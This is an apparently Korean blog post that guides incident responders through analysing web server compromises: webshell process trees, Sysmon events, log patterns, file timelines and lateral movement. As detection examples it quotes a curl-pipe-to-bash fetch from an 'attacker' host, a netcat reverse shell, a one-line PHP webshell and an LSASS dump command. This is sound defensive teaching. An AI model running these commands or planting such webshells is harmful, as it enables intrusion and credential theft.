외부 노출 자산이 공격자에게 뚫리는 가장 흔한 침해사고 유형 중 하나가 바로 웹 서버(Web Server),WAS(Web Application Server) 침해사고입니다.
웹 취약점을 기반으로 공격자가 웹셸 업로드 → 원격 코드 실행(RCE) → 내부 시스템 확산까지 이어지는 공격 흐름은 지속적으로 발생합니다.
이 글에서는 웹셸 업로드, 파일 업로드 취약점, SQL Injection 등을 통해 침투한 뒤 어떤 아티팩트와 로그를 기반으로 사고를 분석해야 하는지를 알 수 있습니다.
1. 침해사고 개요
웹 서버 침해사고는 대부분 다음 흐름으로 진행됩니다.
- 취약점 악용 – 파일 업로드, SQL Injection, RCE 등
- 웹셸 업로드 – 공격자가 서버에서 명령 실행 가능한 환경 확보
- 내부 자원 정찰 – 권한, 네트워크, DB 접속 정보 탐색
- Lateral Movement – 내부 시스템으로 이동
- 데이터 탈취 또는 추가 악성행위
특히 웹서버의 취약점은 외부에서 바로 공격 가능하기 때문에 초기 대응이 늦어지면 내부망까지 확산되는 경우가 많습니다.
2. 분석 핵심 포인트
1) 웹셸(Webshell) 탐지 – 행위 기반 분석
웹셸이 실행될 때 흔히 나타나는 프로세스 패턴
: 웹 서버 프로세스가 OS 명령을 실행하는 자식 프로세스를 생성하는 방식입니다.
|
웹 서버 프로세스
|
의심할 수 있는 자식 프로세스
|
|
w3wp.exe (IIS)
|
cmd.exe, powershell.exe, cscript.exe
|
|
httpd.exe (Apache)
|
bash, sh, perl, python
|
|
php-fpm, nginx
|
bash, python, nc, wget
|
Sysmon 이벤트 활용
- Sysmon Event ID 1: 비정상 프로세스 생성 (웹 프로세스 → cmd)
- Sysmon Event ID 3: 외부로 향하는 네트워크 연결 (C2 통신)
- Sysmon Event ID 11: 신규 파일 생성(webshell 업로드 위치 확인)
IIS (w3wp.exe) 기반 웹셸 패턴
의심 트리(예시)
w3wp.exe → cmd.exe → powershell.exe -enc (Base64...)
특징
- ASPX 웹셸이 대부분 cmd → powershell 조합을 사용
- Base64 인코딩 명령, 다운로드 스크립트, reverse shell 생성 등이 포함됨
- cscript.exe, wscript.exe, mshta.exe 활용
Apache(httpd.exe) 기반 웹셸 패턴
의심 트리(예시)
httpd.exe → /bin/sh → curl http://attacker/payload.sh | bash
특징
- PHP, Perl CGI, Python CGI 기반 웹셸에서 자주 발생
- /tmp/ 경로에 임시 파일 생성 후 실행하는 패턴이 많음
- wget, curl, perl, python, nc, tftp, ftpget 등이 흔함
Nginx + PHP-FPM 기반 패턴
의심 트리(예시)
php-fpm → bash → nc -e /bin/bash attacker_ip:port
특징
- php-fpm은 원래 외부 프로세스를 실행하지 않는 구조
- 그래서 php-fpm 자식으로 bash, python, netcat이 뜨면 100% 공격임
- Reverse Shell, payload 다운로드, privilege escalation 실행 가능성 높음
2) 웹 서버 로그 분석 – POST/PUT, base64, eval 패턴
웹 로그는 웹셸 업로드 시 가장 빠르게 흔적을 남깁니다.
체크해야 하는 로그 패턴
1. 파일 업로드 흔적
- POST /upload.php
- PUT /shell.aspx
- Multipart/form-data 요청 증가
2. 명령 실행 흔적
공격자가 웹셸을 통해 명령 실행 시 흔히 사용되는 파라미터
- cmd=whoami
- cmd=system("id")
- exec=ls+-al
- eval(base64_decode(...))
- assert($_POST[…])
3. 웹셸 업로드 직전의 지표
- 파일 크기가 비정상적으로 작은 1~5KB의 ASPX/PHP 파일 업로드
- .jsp, .php, .aspx, .ashx 형태의 새 파일 등장
- URL 파라미터에 base64 문자열 포함
공격자의 특징 패턴 예시
POST /upload.php HTTP/1.1 Content-Type: multipart/form-data ------filename="1.php" <?php echo shell_exec($_GET['cmd']); ?>
3) 웹 루트 신규 파일 타임라인 재구성
웹셸은 보통 아래 경로에 생성됩니다.
일반적인 웹셸 업로드 경로
- C:\inetpub\wwwroot\
- /var/www/html/
- /usr/share/nginx/html/
- /upload/, /images/, /assets/, /temp/
파일 타임라인 분석 포인트
- 최근 24시간/7일 내 생성된 파일 목록 추출
- 확장자 변조(.jpg, .png, .gif인데 실행 가능한 스크립트)
- 크기가 너무 작은 파일(1~5KB의 한 줄 웹셸)
- 동일 시간대에 생성된 기타 파일(다운로더, staging 파일 등)
Sysmon, OS 로그 활용
- Sysmon Event ID 11(FileCreate): 공격자가 업로드한 파일 포착
- 파일 해시 수집 → VT 조회
- 생성/수정 시간 비교해 클러스터 도출
4) Lateral Movement 여부 판단
웹 서버가 뚫렸다고 해서 “웹셸 업로드로 끝”이 되는 경우는 많지 않습니다.
대부분 내부망으로 이동해서 추가 피해가 일어납니다.
분석 포인트
1. 내부망 스캔 흔적
- cmd.exe /c net view
- powershell.exe Test-NetConnection
- nmap, fscan, netcat 설치
2. 자격증명 탈취 시도
- lsass.exe 접근 로그(Sysmon 10)
- mimikatz 실행 흔적
- procdump.exe -ma lsass.exe
3. SMB/RDP 기반 확산
- Event ID 4624 Logon Type 3: SMB 로그온
- Event ID 4624 Logon Type 10: RDP
- wmic, psexec, winrm 사용 여부
4. 백도어 추가 설치
- 서비스 등록(Event 7045)
- scheduled task 생성(Event 4698)
- Run/RunOnce, DLL hijacking 기반 persistence
3. 침해사고 분석 및 대응 흐름 참고
1) 웹 서버 로그 분석
→ 공격 요청·웹셸 업로드 흔적 파악
2) 웹 루트 파일 타임라인 분석
→ 신규·수상한 스크립트 파일 도출
3) 프로세스 트리 분석
→ 웹셸 실행 후 Spawned Process 확인
4) 네트워크 행위 분석
→ 내부 스캔, C2 통신 여부 확인
5) 자격증명 탈취 및 Lateral Movement 확인
→ RDP/SMB/WMI/PsExec 패턴 점검
6) 추가 Backdoor 및 Persistence 탐지
→ 새 서비스, 스케줄러, Run Key 점검
각 포인트마다 확인해야하는 로그 및 아티팩트는 달라서 따로 안적어뒀습니다.
개인적으로 여쭤보면 짧은 지식으로 대답은 드리겠습니다..
'Analysis' 카테고리의 다른 글
| 사이버 공격 유형 분석 및 분석 방법 (0) | 2025.11.19 |
|---|---|
| Ransomware 공격 흐름 분석 및 탐지 포인트 (0) | 2025.11.18 |